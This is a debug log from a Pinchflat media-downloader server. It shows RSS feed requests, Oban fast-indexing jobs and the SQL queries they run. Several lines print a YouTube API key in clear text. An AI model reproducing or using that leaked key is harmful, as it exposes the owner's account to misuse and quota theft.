16:35:05.687 [info] {"args":{"id":3},"id":5268228,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":182374,"event":"job:stop","queue_time":908573,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:14.787 [info] {"source":"oban","duration":9842,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:19.313 [info] GET /sources/2e9bf3f8-9a42-4f7d-a70b-475412e629a3/feed.xml 16:35:19.313 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "2e9bf3f8-9a42-4f7d-a70b-475412e629a3"} Pipelines: [:maybe_basic_auth] 16:35:19.314 [debug] QUERY OK source="sources" db=0.1ms idle=620.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["2e9bf3f8-9a42-4f7d-a70b-475412e629a3"] 16:35:19.314 [debug] QUERY OK source="media_items" db=0.3ms idle=620.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [46, 2000] 16:35:19.315 [debug] QUERY OK source="source_metadata" db=0.0ms idle=621.5ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [46] 16:35:19.315 [debug] QUERY OK source="media_metadata" db=0.0ms idle=621.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577519] 16:35:19.315 [info] Sent 200 in 2ms 16:35:25.321 [info] GET /sources/c265de63-c36a-4e88-bc51-2cf2504d420f/feed.xml 16:35:25.321 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c265de63-c36a-4e88-bc51-2cf2504d420f"} Pipelines: [:maybe_basic_auth] 16:35:25.321 [debug] QUERY OK source="sources" db=0.1ms idle=627.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c265de63-c36a-4e88-bc51-2cf2504d420f"] 16:35:25.322 [debug] QUERY OK source="media_items" db=0.5ms idle=627.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [43, 2000] 16:35:25.323 [debug] QUERY OK source="source_metadata" db=0.0ms idle=629.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [43] 16:35:25.323 [debug] QUERY OK source="media_metadata" db=0.0ms idle=629.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577887] 16:35:25.323 [info] Sent 200 in 2ms 16:35:40.127 [info] {"args":{"id":27},"id":5268229,"meta":{},"system_time":1791581740127241430,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:40.128 [debug] QUERY OK source="sources" db=0.7ms idle=1433.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [27] 16:35:40.128 [debug] QUERY OK source="settings" db=0.0ms idle=1434.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:40.128 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1008.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:40.128 [debug] QUERY OK source="settings" db=0.0ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:40.128 [debug] Fetching recent media IDs from YouTube API for playlist: UUJ0-OtVpF0wOKEqT2Z1HEtA 16:35:40.128 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:40.128 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:40.387 [debug] QUERY OK source="media_items" db=0.6ms idle=258.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [27, "Tuxgh8SrzbQ", "DWAMwfM2DrM", "-TvOCDbhCWk", "WAeTROAfSTs", "nhbeaHuZMQ0", "Se1NPlfUCss", "kSPrY4NHqow", "dpNfJm2Ql90", "mIBhWgYWVPA", "P4351ixgP4M", "X2qcTrprMqE", "GEhwXAIjDls", "_5aHHg4A_vY", "xeRSef7jMYc", "nz6sgR01Tt8", "bmFRqSs1QAM", "EBgxa8OzjB8", "F-CFdCp0xaw", "lt07jcPvG2Y", "dy0WZVpyiTM", "vY0-eZ-GGEg", "sWGUo_iiaZE", "HhRgPVNQLww", "yxEh9tnRTbY", "MwTaGjsdxU4", "bdR4HyeABfA", "dJtzXpW15HI", "mqt_FdmDq4k", "DhvkZ8pmXlc", "m51SX5cz9ow", "AsJquvKz07E", "ZsdV3VEyQxY", "vlHmd2-PlfE", "fwLan9mLJLQ", "56Eq3EMYX68", "PB-4WqzXzoA", "lT1v5RdCl6s", "bIMQO0Q4iRc", "YcfKFfOQ9W8", "u8s9hpjN25Y", "rlyU9AMaq9g", "rg1xXCzLdQ0", "myh9AZRK6hI", "qRc9W2ss-GE", "uz6xrE8WZHc", "WnNVgRyWUi8", "ub-Qr2U4DzA", "OSCKBmkrH_g", "2Yjiwz5sxzE", ...] 16:35:40.389 [debug] QUERY OK source="media_items" db=0.8ms idle=259.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [27] 16:35:40.390 [debug] QUERY OK source="tasks" db=0.1ms idle=261.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268268, 27, ~U[2026-10-09 21:35:40Z], ~U[2026-10-09 21:35:40Z]] 16:35:40.390 [info] {"args":{"id":27},"id":5268229,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":262812,"event":"job:stop","queue_time":396872,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:41.128 [info] {"args":{"id":18},"id":5268230,"meta":{},"system_time":1791581741128239597,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:41.128 [debug] QUERY OK source="sources" db=0.1ms idle=738.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 16:35:41.128 [debug] QUERY OK source="settings" db=0.0ms idle=738.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:41.128 [debug] QUERY OK source="media_profiles" db=0.1ms idle=732.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:41.129 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:41.129 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 16:35:41.129 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:41.129 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:41.251 [debug] QUERY OK source="media_items" db=0.9ms idle=121.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [18, "cmwW_7Abt1U", "4uSSn65kjoY", "VvVF9MpNKOM", "K62b5JcIyws", "7YMs4CC-4fg", "LKW7jxxzgY0", "3uAJj9IG5L0", "laNbCG1X0bc", "KAa-oD5ip6g", "o3gI3hJ8y9g", "QZZCVVpRPCw", "fYQ-7t0NVSY", "OkMhgv-LVFs", "UrimWxUfPYM", "JYT2by9OsNU", "Nre7c3KGDLI", "Jn_mEQzU2uU", "vgM7E9gyyfA", "-yzDkpEFPso", "P3hLiuMw06E", "1Lj_Vx_YLic", "MMMREpB4_Uw", "jTCzE-t_zwM", "lboQeOpiHDQ", "TW0E1KFVuFY", "7VFv3s7gpdU", "vyYSPIfCLdc", "nNNs5FtLnTc", "qo9gdGAdTVs", "prdfB6Ajd-0", "ivSZoARtMtU", "fOr5r_a3n5c", "PDJdtrrXlBc", "MAw0IOv6g2I", "VY4oO2EoURA", "TJ9QPLFRwgU", "SL3I3HRltxY", "JKDISzBlzow", "3rd0HjHoQzE", "7xwicE-ysdA", "09a59YumUcI", "0tmYqrYddLY", "VNnyrwFoIkg", "m-Wt81X5Z4k", "rftUQzr5MNY", "pXjsYsJR8eU", "prJa6chyjqQ", "e8MxxudBYHk", "a_0XQWA15FI", ...] 16:35:41.252 [debug] QUERY OK source="media_items" db=0.8ms idle=122.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [18] 16:35:41.253 [debug] QUERY OK source="tasks" db=0.1ms idle=123.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268269, 18, ~U[2026-10-09 21:35:41Z], ~U[2026-10-09 21:35:41Z]] 16:35:41.253 [info] {"args":{"id":18},"id":5268230,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":125138,"event":"job:stop","queue_time":320790,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:41.259 [info] {"args":{"id":1},"id":5268231,"meta":{},"system_time":1791581741259322246,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:41.259 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:35:41.259 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:41.259 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:41.260 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:41.260 [debug] Fetching recent media IDs from YouTube API for playlist: UUXuqSBlHAE6Xw-yeJA0Tunw 16:35:41.260 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:41.260 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:35:41.435 [debug] QUERY OK source="media_items" db=0.6ms idle=175.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "LttGyjX-QxE", "t28bEMboL9Y", "ijFSEb2W6_8", "79s8O7Cipl0", "1H20xp8Brnc", "y1hZ3EalPQU", "zH9bqwNShiM", "1gxnANAbLuE", "Fx0x3oI_ngo", "DLOQOUWmRpI", "p-EXFD_DHmc", "XM04mbymDsE", "GaX0frxNwfQ", "SuIhqDP2VHw", "Z1sqWFs86uU", "pJWqvVnDT0A", "qgLaCZyKv_8", "Zzzkg_ZrOII", "zg-rMHEqg-4", "3xngArcFpek", "y9rtvIUjVQw", "3PGKMwgjla0", "i_nj_vkD03g", "pvSdeU13hKc", "_p331WEfEIs", "VfQdPRyqQW4", "n5wuk8Uci_4", "sL6OWsT47zc", "FYDvDoxBU6c", "2KztkwBYD68", "nZwdIPg7N3A", "lmLh29LE2W4", "MtkoClsRvCU", "X8sgBpmdCT8", "fX-g6XNrkiA", "81wg425C8z0", "LYMvJW5rYME", "RC138pD_7_s", "yFJDP7OinRM", "tklAv8hcG9s", "oeqUHEp4sYM", "H4BKUbtCmp0", "ZWCAXHNOIcA", "DXK-F0SjC_E", "04MFcE-ntxQ", "QfCW5bXvwII", "36oL-7C_qR4", "AHP423JqiLc", "vzg5cv785j4", ...] 16:35:41.448 [debug] QUERY OK source="media_items" db=11.7ms idle=176.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 16:35:41.449 [debug] QUERY OK source="tasks" db=0.1ms idle=188.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268270, 1, ~U[2026-10-09 21:35:41Z], ~U[2026-10-09 21:35:41Z]] 16:35:41.449 [info] {"args":{"id":1},"id":5268231,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":189813,"event":"job:stop","queue_time":256557,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:42.129 [info] {"args":{"id":5},"id":5268232,"meta":{},"system_time":1791581742129202519,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:35:42.129 [debug] QUERY OK source="sources" db=0.1ms idle=680.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:35:42.129 [debug] QUERY OK source="settings" db=0.0ms idle=680.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:35:42.129 [debug] QUERY OK source="media_profiles" db=0.1ms idle=673.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:35:42.130 [debug] QUERY OK source="settings" db=0.1ms 